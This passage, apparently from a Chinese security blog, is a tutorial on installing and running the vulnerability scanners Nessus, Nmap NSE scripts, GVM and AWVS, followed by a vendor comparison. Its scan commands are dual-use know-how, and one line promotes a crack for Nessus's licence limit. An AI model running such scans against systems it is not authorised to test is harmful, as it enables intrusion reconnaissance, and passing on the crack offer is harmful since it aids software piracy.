 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;准确性&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;误报率极低（直接验证漏洞存在性）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;误报率高（依赖版本特征猜测）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;配置挑战&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Linux需SSH；Windows需破解UAC/WMI防火墙限制&lt;/td&gt;
 &lt;td style="text-align: center"&gt;开箱即用，无配置依赖&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;认证扫描&lt;/strong&gt;：合规审计（如PCI DSS）、系统上线前深度检查。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;非认证扫描&lt;/strong&gt;：外部攻击面评估、应急响应快速筛查。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;: Windows环境需解决UAC限制，否则认证扫描可能失败。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;本章导读：&lt;/strong&gt;
本章将深入剖析漏洞扫描的技术原理、核心工作流程、主流工具（如Nessus, AWVS, Nmap, GVM等）的应用模式（重点探讨认证与非认证扫描的实施细节与场景选择），分析其优势与局限性（精度问题、版本识别挑战），并探讨如何有效评估扫描结果、管理误报/漏报，以及如何将自动化扫描与手工测试有机结合，构建高效、全面的安全评估体系。理解漏洞扫描的本质和最佳实践，是每一位安全从业者夯实基础、提升效率的关键一步。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="-nessus安装和使用"&gt;🛠️ Nessus安装和使用
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;官网下载链接：https://www.tenable.com/downloads/nessus?loginAttempted=true&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 更新系统
sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y

# 2. 下载Nessus .deb包（官网获取最新URL）
wget https://www.tenable.com/downloads/api/v2/pages/nessus/files/&amp;lt;最新版本&amp;gt;.deb

# 3. 校验文件完整性（需与官网SHA256匹配）
sha256sum Nessus-*.deb

# 4. 安装
sudo dpkg -i Nessus-*.deb

# 5. 启动服务
sudo systemctl start nessusd

# 6. 访问控制台
https://localhost:8834
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;后续配置&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;选择 &lt;strong&gt;Nessus Essentials&lt;/strong&gt; → 填写邮箱获取激活码 → 创建本地管理员账户&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首次初始化需1小时+&lt;/strong&gt;（自动下载13万+插件库）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250725124645851" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124645851.png"&gt;&lt;/p&gt;
&lt;h3 id="扫描核心操作流程"&gt;&lt;strong&gt;扫描核心操作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-新建扫描"&gt;&lt;strong&gt;1. 新建扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250725124704503" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124704503.png"&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;扫描类型&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;适用场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;关键配置&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;基本网络扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;常规漏洞探测&lt;/td&gt;
 &lt;td&gt;默认设置（仅扫公共端口）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;认证补丁审核&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内网深度检测&lt;/td&gt;
 &lt;td&gt;需填SSH/Windows凭据&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;高级扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;自定义漏洞检测&lt;/td&gt;
 &lt;td&gt;可禁用插件/指定端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="2-目标配置"&gt;&lt;strong&gt;2. 目标配置&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;格式&lt;/strong&gt;：IP/IP段/域名（例：&lt;code&gt;10.11.1.73&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;端口控制：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径：设置 → 发现 → 端口扫描
修改 &amp;#34;Port Scan Range&amp;#34;：0-65535（全端口）或指定端口（如111）
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-认证扫描配置"&gt;&lt;strong&gt;3. 认证扫描配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250725124754167" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124754167.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;路径：凭据 → SSH
→ 认证方法：Password
→ 用户名：root
→ 密码：[目标密码]
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-单插件扫描"&gt;&lt;strong&gt;4. 单插件扫描&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;路径：插件 → 点击&amp;#34;全部禁用&amp;#34;
→ 展开分类（如RPC）→ 启用特定插件（如&amp;#34;NFS Exported Share Information Disclosure&amp;#34;）
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="5-结果分析"&gt;&lt;strong&gt;5. 结果分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;过滤高危漏洞&lt;/strong&gt;：点击&amp;quot;过滤器&amp;quot; → &lt;code&gt;可被利用 = true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关闭分组视图&lt;/strong&gt;：右上角齿轮 → 禁用分组&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出报告&lt;/strong&gt;：支持PDF/CSV/HTML格式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250725124809830" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725124809830.png"&gt;&lt;/p&gt;
&lt;h3 id="操作避坑指南"&gt;&lt;strong&gt;操作避坑指南&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;资源警告&lt;/strong&gt;：全端口扫描需8GB+内存，避免扫描期间运行其他重负载任务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;账户锁定&lt;/strong&gt;：在配置中关闭 &lt;strong&gt;&amp;ldquo;Brute Force&amp;rdquo;&lt;/strong&gt; 选项（路径：扫描策略 → 高级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows认证失败&lt;/strong&gt;：确认目标开启WMI服务且防火墙放行135/445端口&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;插件更新&lt;/strong&gt;：定期执行 &lt;code&gt;sudo /opt/nessus/sbin/nessuscli update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;破解：默认只能扫16个IP，破解请关注公众号回复本文开头的关键字获取。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="-nmap漏洞扫描深度解析"&gt;🔍 &lt;strong&gt;Nmap漏洞扫描深度解析&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;核心机制&lt;/strong&gt;：
Nmap通过​&lt;strong&gt;​NSE脚本引擎​&lt;/strong&gt;​（Nmap Scripting Engine）实现漏洞扫描，700+个Lua脚本分为两类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;vuln&lt;/code&gt;类&lt;/strong&gt;：漏洞检测（如&lt;code&gt;http-vuln-cve2017-5638&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;exploit&lt;/code&gt;类&lt;/strong&gt;：精简漏洞利用（如&lt;code&gt;smb-vuln-cve-2017-7494&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;⚠️ &lt;strong&gt;安全风险分级&lt;/strong&gt;（执行前必看）：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;级别&lt;/th&gt;
 &lt;th&gt;特征&lt;/th&gt;
 &lt;th&gt;典型脚本&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;safe&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;仅信息收集&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;http-title.nse&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;intrusive&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;可能崩溃服务&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;http-slowloris.nse&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-关键操作命令"&gt;🖥️ 关键操作命令：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看所有漏洞扫描脚本
ls /usr/share/nmap/scripts | grep vuln

# 检查脚本功能（强烈建议使用AI解析）
nmap --script-help &amp;lt;脚本名&amp;gt; # 例如：nmap --script-help http-vuln*

# 安全扫描（仅用safe类）
nmap -sV --script &amp;#34;safe and vuln&amp;#34; &amp;lt;目标IP&amp;gt;

# 漏洞探测（vuln类脚本）
nmap -sV --script=vuln &amp;lt;目标IP&amp;gt;

# 精确调用指定脚本
nmap -sV --script=http-vuln-cve2021-41773 &amp;lt;目标IP&amp;gt;

# 扫描结果保存
nmap -sV -oX report.xml --script=vuln &amp;lt;目标IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725115630496" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725115630496.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725115845571" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725115845571.png"&gt;&lt;/p&gt;
&lt;h3 id="-脚本管理技巧"&gt;⚙️ 脚本管理技巧：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看脚本分类（script.db数据库）
grep &amp;#39;categories&amp;#39; /usr/share/nmap/scripts/script.db

# 过滤高风险脚本（排除intrusive）
nmap --script &amp;#34;vuln and not intrusive&amp;#34; &amp;lt;目标IP&amp;gt;

# 更新NSE脚本库
sudo nmap --script-updatedb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725120027382" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725120027382.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;最佳实践&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;未知脚本必查：&lt;code&gt;nmap --script-help &amp;lt;脚本名&amp;gt;&lt;/code&gt; 或丢给AI解读&lt;/li&gt;
&lt;li&gt;生产环境先用 &lt;code&gt;--script-trace&lt;/code&gt; 预览探测行为&lt;/li&gt;
&lt;li&gt;高危操作前在测试环境验证&lt;/li&gt;
&lt;/ol&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-gvmgreenbone漏洞管理器部署指南"&gt;🛡️ &lt;strong&gt;GVM（Greenbone漏洞管理器）部署指南&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;原为&lt;strong&gt;OpenVAS&lt;/strong&gt;，是Nessus的开源分支，提供企业级漏洞管理能力。&lt;/p&gt;
&lt;h3 id="-快速部署命令kali-linux"&gt;⚡ 快速部署命令（Kali Linux）：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 安装组件
sudo apt update &amp;amp;&amp;amp; sudo apt install -y gvm*

# 初始配置（约15分钟，需联网）
sudo gvm-setup # 自动生成管理员账户

# 更新漏洞数据库（首次需20GB磁盘空间）
sudo gvm-feed-update

# 启动服务
sudo gvm-start # Web控制台：https://127.0.0.1:9392

# 验证安装
sudo gvm-check-setup # 显示各组件状态
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250725132405020" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725132405020.png"&gt;&lt;/p&gt;
&lt;h3 id="-常用操作"&gt;🖥️ 常用操作：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 启动/停止服务
sudo gvm-start | sudo gvm-stop

# 重置管理员密码
sudo runuser -u _gvm -- gvmd --user=admin --new-password=&amp;lt;新密码&amp;gt;

# 手动更新数据库（每日执行）
sudo crontab -e # 添加：0 0 * * * sudo gvm-feed-update
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="-基础使用流程"&gt;🌐 基础使用流程：
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;访问 &lt;code&gt;https://localhost:9392&lt;/code&gt; → 用 &lt;code&gt;admin&lt;/code&gt; 和安装时生成的密码登录&lt;/li&gt;
&lt;li&gt;创建扫描任务：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目标配置&lt;/strong&gt;：指定IP/域名范围&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;：选择 &lt;code&gt;Full and fast&lt;/code&gt;（平衡模式）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认证设置&lt;/strong&gt;：添加SSH/Windows凭证提升扫描深度&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;导出报告：支持PDF/CSV/XML格式&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;高级技巧&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;联动Nmap：将 &lt;code&gt;nmap -oX&lt;/code&gt; 生成的XML报告导入GVM分析&lt;/li&gt;
&lt;li&gt;定制策略：禁用暴力破解选项防账户锁定&lt;/li&gt;
&lt;li&gt;计划任务：设置每周全盘扫描 + 每日增量扫描&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="-awvs-安装使用"&gt;🔍 &lt;strong&gt;AWVS 安装使用&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Acunetix Web Vulnerability Scanner (AWVS)&lt;/strong&gt; 是全球顶尖的 &lt;strong&gt;Web 应用漏洞扫描器&lt;/strong&gt;，专注于自动化检测网站与 API 的安全漏洞。&lt;/p&gt;
&lt;h3 id="-核心特性"&gt;🔑 核心特性：
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;能力&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;扫描范围&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;SQL 注入、XSS、SSRF、JWT 漏洞、敏感信息泄露等 &lt;strong&gt;13000+&lt;/strong&gt; 漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;技术深度&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持现代 Web 技术（SPA、WebSocket、GraphQL 等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;部署模式&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;支持本地安装（Windows/Linux）和云平台（Acunetix Online）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;满足 PCI DSS、HIPAA、ISO 27001 等安全标准&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;

 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;定位&lt;/strong&gt;：与传统网络扫描器（Nessus）互补，&lt;strong&gt;专精 Web 层漏洞挖掘&lt;/strong&gt;。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-安装指南kali-linux"&gt;📥 &lt;strong&gt;安装指南（Kali Linux）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="-前提条件"&gt;⚠️ 前提条件：
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬件&lt;/strong&gt;：≥4 核 CPU / 8GB RAM / 20GB 磁盘空间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统&lt;/strong&gt;：Kali Linux 2023+（或 Ubuntu/Debian）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;授权&lt;/strong&gt;：需&lt;a class="link" href="https://www.acunetix.com/" target="_blank" rel="noopener"
 &gt;官网&lt;/a&gt;获取 &lt;strong&gt;14 天试用密钥&lt;/strong&gt;（或购买商业许可）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="-安装步骤"&gt;🛠️ 安装步骤：
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 1. 下载安装包（需注册官网获取下载链接）
wget https://dl.acunetix.com/acu/24.3/acuinstall.sh

# 2. 赋予执行权限
chmod +x acuinstall.sh

# 3. 安装依赖
sudo apt install -y libxcb-xinerama0 libxkbcommon-x11-0

# 4. 启动安装（默认端口：13443）
sudo ./acuinstall.sh --install-license YOUR_LICENSE_KEY

# 5. 访问控制台
https://localhost:13443
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;重要提示&lt;/strong&gt;：首次登录需设置管理员邮箱与密码（保存至 &lt;code&gt;/var/lib/acunetix/.config&lt;/code&gt;）&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="-基础使用教程"&gt;🚀 &lt;strong&gt;基础使用教程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-创建扫描任务"&gt;&lt;strong&gt;1. 创建扫描任务&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目标配置&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入 URL（如 &lt;code&gt;https://example.com&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;启用 &lt;strong&gt;深度爬虫&lt;/strong&gt;（识别 SPA 动态内容）&lt;/li&gt;
&lt;li&gt;设置 &lt;strong&gt;认证登录&lt;/strong&gt;（支持 Cookie/表单/OAuth）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;扫描策略&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;模式&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;特点&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;快速扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;耗时短，仅查高危漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;全扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;覆盖所有漏洞检测模块（推荐）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;自定义扫描&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;手动选择检测项（如仅查 API）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="2-扫描结果分析"&gt;&lt;strong&gt;2. 扫描结果分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;漏洞分级&lt;/strong&gt;：
🔴 ​&lt;strong&gt;​高危​&lt;/strong&gt;​（SQLi、RCE）→ 🟠 ​&lt;strong&gt;​中危​&lt;/strong&gt;​（XSS）→ 🟢 ​&lt;strong&gt;​低危​&lt;/strong&gt;​（信息泄露）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利用验证&lt;/strong&gt;：
支持 ​&lt;strong&gt;​POC 重放​&lt;/strong&gt;​（验证漏洞真实性）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;报告导出&lt;/strong&gt;：
支持 PDF/HTML/XML（含修复建议）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-高级功能"&gt;&lt;strong&gt;3. 高级功能&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API 扫描&lt;/strong&gt;：导入 Swagger/Postman 文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感数据监控&lt;/strong&gt;：实时检测 Git 泄露、密钥硬编码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD 集成&lt;/strong&gt;：Jenkins/GitLab 插件自动化扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="-避坑指南"&gt;⚠️ &lt;strong&gt;避坑指南&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;问题&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;解决方案&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;扫描崩溃&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;限制并发请求（&lt;code&gt;Settings → Scan Settings → Max Requests&lt;/code&gt;）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;误报率高&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启用 &lt;code&gt;Proof-Based Scanning&lt;/code&gt; 二次验证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;登录失效&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;使用 &lt;code&gt;AcuSensor&lt;/code&gt; 代理抓取认证流量&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;社区版限制&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;避开「&lt;strong&gt;Acunetix 360 Free&lt;/strong&gt;」，仅支持 3 页面扫描&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="相似功能新产品推荐"&gt;相似功能新产品推荐
&lt;/h2&gt;&lt;p&gt;Nessus和AWVS作为入门熟悉的工具可用，但是再实际测试过程中误报和漏扫率高。安全技术更新换代快，以下是我个人对这些产品的经验看法，和推荐目前比较好用的几个工具。&lt;/p&gt;
&lt;h3 id="-商业-vs-开源核心差异分析"&gt;⚖️ &lt;strong&gt;商业 vs 开源核心差异分析&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;首先，这些产品分为商业版和开源版，两者的区别有：&lt;/p&gt;
&lt;h4 id="-商业工具依赖维度"&gt;🏭 &lt;strong&gt;商业工具依赖维度&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
A[商业产品] --&gt; B(专属漏洞实验室)
A --&gt; C(0day快速响应)
A --&gt; D(自动化合规报告)
A --&gt; E(私有漏洞情报)
F[公司经营风险] --&gt; G[产品更新放缓]
F --&gt; H[漏洞库滞后]
F --&gt; I[误报率上升]&lt;/pre&gt;&lt;h4 id="-开源工具生存逻辑"&gt;🌐 &lt;strong&gt;开源工具生存逻辑&lt;/strong&gt;
&lt;/h4&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
J[开源项目] --&gt; K(社区贡献者)
J --&gt; L(GitHub Star驱动)
J --&gt; M(企业赞助)
N[技术门槛] --&gt; O[需自行维护规则库]
N --&gt; P[适配定制化环境]
N --&gt; Q[漏洞验证脚本开发]&lt;/pre&gt;&lt;h3 id="-关键能力对比"&gt;📊 &lt;strong&gt;关键能力对比&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;能力维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;商业工具&lt;/th&gt;
 &lt;th&gt;开源工具&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞响应速度&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;0day通常&amp;lt;24小时&lt;/td&gt;
 &lt;td&gt;依赖社区更新（平均3-7天）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;自动生成符合审计的报告&lt;/td&gt;
 &lt;td&gt;需手动整理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;使用成本&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;年费5000−50000+&lt;/td&gt;
 &lt;td&gt;免费但需时间成本&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;定制灵活性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;闭源不可修改&lt;/td&gt;
 &lt;td&gt;可二次开发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-中国网络安全市场主流产品图谱"&gt;🛡️ &lt;strong&gt;中国网络安全市场主流产品图谱&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;产品名称&lt;/th&gt;
 &lt;th&gt;厂商&lt;/th&gt;
 &lt;th&gt;主打能力&lt;/th&gt;
 &lt;th&gt;行业占有率&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;奇安信网神漏洞扫描系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;奇安信&lt;/td&gt;
 &lt;td&gt;等保2.0合规驱动 · 信创生态适配（麒麟/统信） · 0day响应&amp;lt;12小时&lt;/td&gt;
 &lt;td&gt;政府/央企（≥35%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;安恒明鉴漏洞扫描器&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;安恒信息&lt;/td&gt;
 &lt;td&gt;Web3.0深度检测 · API安全治理 · 结合「北斗」AI引擎&lt;/td&gt;
 &lt;td&gt;金融/医疗（28%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
